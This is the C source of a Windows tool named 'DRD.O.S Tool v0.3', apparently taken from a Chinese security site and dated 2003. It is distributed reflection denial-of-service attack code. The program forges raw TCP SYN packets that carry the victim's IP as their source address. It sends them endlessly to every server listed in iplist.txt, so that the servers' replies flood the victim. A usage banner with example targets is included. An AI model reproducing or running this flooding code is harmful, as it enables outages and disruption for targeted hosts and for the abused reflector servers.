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| 关键词： nbsp unsigned printf char ErrorCode argv FAILED int argc TcpHeader |
////////////////////////////////////////////////////////// DRD.O.S Tool/// http://www.safechina.net /// Written by CDrea /// 2003-01-31 /// /// If u add some function, Please give me a copy /// mailto: [email protected] ///////////////////////////////////////////////////////#include <stdio.h>#include <string.h>#include <Winsock2.h>#include <Ws2tcpip.h>#pragma comment(lib,"ws2_32")#define HOST_LEN 15#define SEQ 0x28376839#define TCP_SERVER_PORT 80#define FAKE_PORT 80#define STATUS_FAILED 0xFFFF typedef struct _iphdr{ unsigned char h_lenver; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP;}IP_HEADER, * PIP_HEADER;typedef struct _tcphdr{ unsigned short th_sport; unsigned short th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_lenres; unsigned char th_flag; unsigned short th_win; unsigned short th_sum; unsigned short th_urp;}TCP_HEADER, * PTCP_HEADER;struct{ unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short tcpl;}psd_header;int SendThread(int argc, char * argv[], char * destIp);void Usage(char *);void GetCMD(int argc, char * argv[]);USHORT checksum(USHORT * buffer, int size);int main(int argc, char * argv[]){ WSADATA wsaData; int ErrorCode; if(argc < 2 || argc > 6) { Usage(argv[0]); ExitProcess(STATUS_FAILED); } if((ErrorCode=WSAStartup(MAKEWORD(2, 1), &wsaData))!=0) { fprintf(stderr, "WSAStartup failed: %d\n", ErrorCode); ExitProcess(STATUS_FAILED); } ErrorCode = SendThread(argc, argv, argv[1]); if(ErrorCode != 0) { fprintf(stderr, "Thread failed: %d\n", ErrorCode); ExitProcess(STATUS_FAILED); } return 0;}int SendThread(int argc, char * argv[], char * destIP){ int TimeOut=2000, ErrorCode, flag, i=0; char SendBuff[128]; char HostName[HOST_LEN]; char ch; FILE * fp; SOCKET SendSock; struct sockaddr_in DestAddr; IP_HEADER IpHeader; TCP_HEADER TcpHeader; if((fp=fopen("iplist.txt", "r")) == NULL) { printf("Error: File not found!\n"); return -1; } SendSock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED); if(SendSock == INVALID_SOCKET) { fprintf(stderr, "socket failed: %d\n", GetLastError()); ExitProcess(STATUS_FAILED); } flag = true; ErrorCode = setsockopt(SendSock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(int)); if(ErrorCode == SOCKET_ERROR) { fprintf(stderr, "set IP_HDRINCL failed: %d\n", GetLastError()); ExitProcess(STATUS_FAILED); } __try { if(argc > 4) TimeOut = atoi(argv[3]); ErrorCode = setsockopt(SendSock, SOL_SOCKET, SO_SNDTIMEO, (char *)&TimeOut, sizeof(TimeOut)); if(ErrorCode == SOCKET_ERROR) { fprintf(stderr, "set TimeOut failed: %d\n", GetLastError()); __leave; } DestAddr.sin_family = AF_INET;// DestAddr.sin_addr.s_addr = inet_addr(SERVER); if(argc > 3) DestAddr.sin_port = htons(atoi(argv[3])); else DestAddr.sin_port = htons(TCP_SERVER_PORT); IpHeader.h_lenver = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long)); IpHeader.tos = 0; IpHeader.total_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER)); IpHeader.ident = 1; IpHeader.frag_and_flags = 0; IpHeader.ttl = 128; IpHeader.proto = IPPROTO_TCP; IpHeader.checksum = 0; IpHeader.sourceIP = inet_addr(destIP); IpHeader.destIP = inet_addr("0.0.0.0"); if(argc > 2) TcpHeader.th_sport = htons(atoi(argv[2])); else TcpHeader.th_sport = htons(FAKE_PORT); if(argc > 3) TcpHeader.th_dport = htons(atoi(argv[3])); else TcpHeader.th_dport = htons(TCP_SERVER_PORT); TcpHeader.th_seq = htonl(SEQ); TcpHeader.th_ack = 0; TcpHeader.th_lenres = (sizeof(TCP_HEADER)/4<<4|0); TcpHeader.th_flag = 2; TcpHeader.th_win = htons(16384); TcpHeader.th_urp = 0; TcpHeader.th_sum = 0; psd_header.saddr = IpHeader.sourceIP; psd_header.daddr = IpHeader.destIP; psd_header.mbz = 0; psd_header.ptcl = IPPROTO_TCP; psd_header.tcpl = htons(sizeof(TCP_HEADER));/* memcpy(SendBuff, &psd_header, sizeof(psd_header)); memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER)); TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader)); memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER)); memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4); IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER)); memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER)); memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); */ printf("Send Packets\n"); int Packets = 0; ch = fgetc(fp); GetCMD(argc, argv); while(1) { if(ch == '\n' || ch == EOF) { HostName[i] = '\0';// Add your code here----------------------- DestAddr.sin_addr.s_addr = inet_addr(HostName); IpHeader.destIP = inet_addr(HostName); IpHeader.checksum = 0; psd_header.daddr = IpHeader.destIP; TcpHeader.th_seq = htonl(SEQ); TcpHeader.th_sum = 0; memcpy(SendBuff, &psd_header, sizeof(psd_header)); memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER)); TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader)); memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER)); memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4); IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER)); memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER)); memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); Packets++; if(Packets == 10240) { printf("."); Packets = 1; } ErrorCode = sendto(SendSock, SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, (struct sockaddr *)&DestAddr, sizeof(DestAddr));// printf("->%s\n", HostName);//---------------------------- i = 0; ch = fgetc(fp); if(ch == EOF) {// i = 0; rewind(fp);// memset(HostName, 0, sizeof(HostName)); } } HostName[i] = ch; i++; ch = fgetc(fp); } } __finally { if(SendSock == INVALID_SOCKET) closesocket(SendSock); WSACleanup(); } return 0;}USHORT checksum(USHORT *buffer, int size){ unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum);}void Usage(char * msg){ printf("+-----------------------------+\n"); printf("| DRD.O.S Tool v0.3 |\n"); printf("| |\n"); printf("| http://www.safechina.net |\n"); printf("+-----------------------------+\n"); printf("USAGE:\n"); printf(" %s DestIP [DestPort] [TcpServerPort] [TimeOut]\n", msg); printf("EXAMPLE:\n"); printf(" %s 192.168.0.1\n", msg); printf(" %s 192.168.0.1 80\n", msg); printf(" %s 192.168.0.1 80 170 \n", msg); printf(" %s 192.168.0.1 80 170 2000\n", msg);}void GetCMD(int argc, char * argv[]){ printf("<------------------------>\n"); printf(" Target: %s\n", argv[2]); if(argc > 3) printf(" Target Port: %d\n", atoi(argv[3])); if(argc > 4) printf(" TCP Server Port: %d\n", atoi(argv[4])); if(argc > 5) printf(" Timeout: %d\n", atoi(argv[5])); printf("<------------------------>\n");} |
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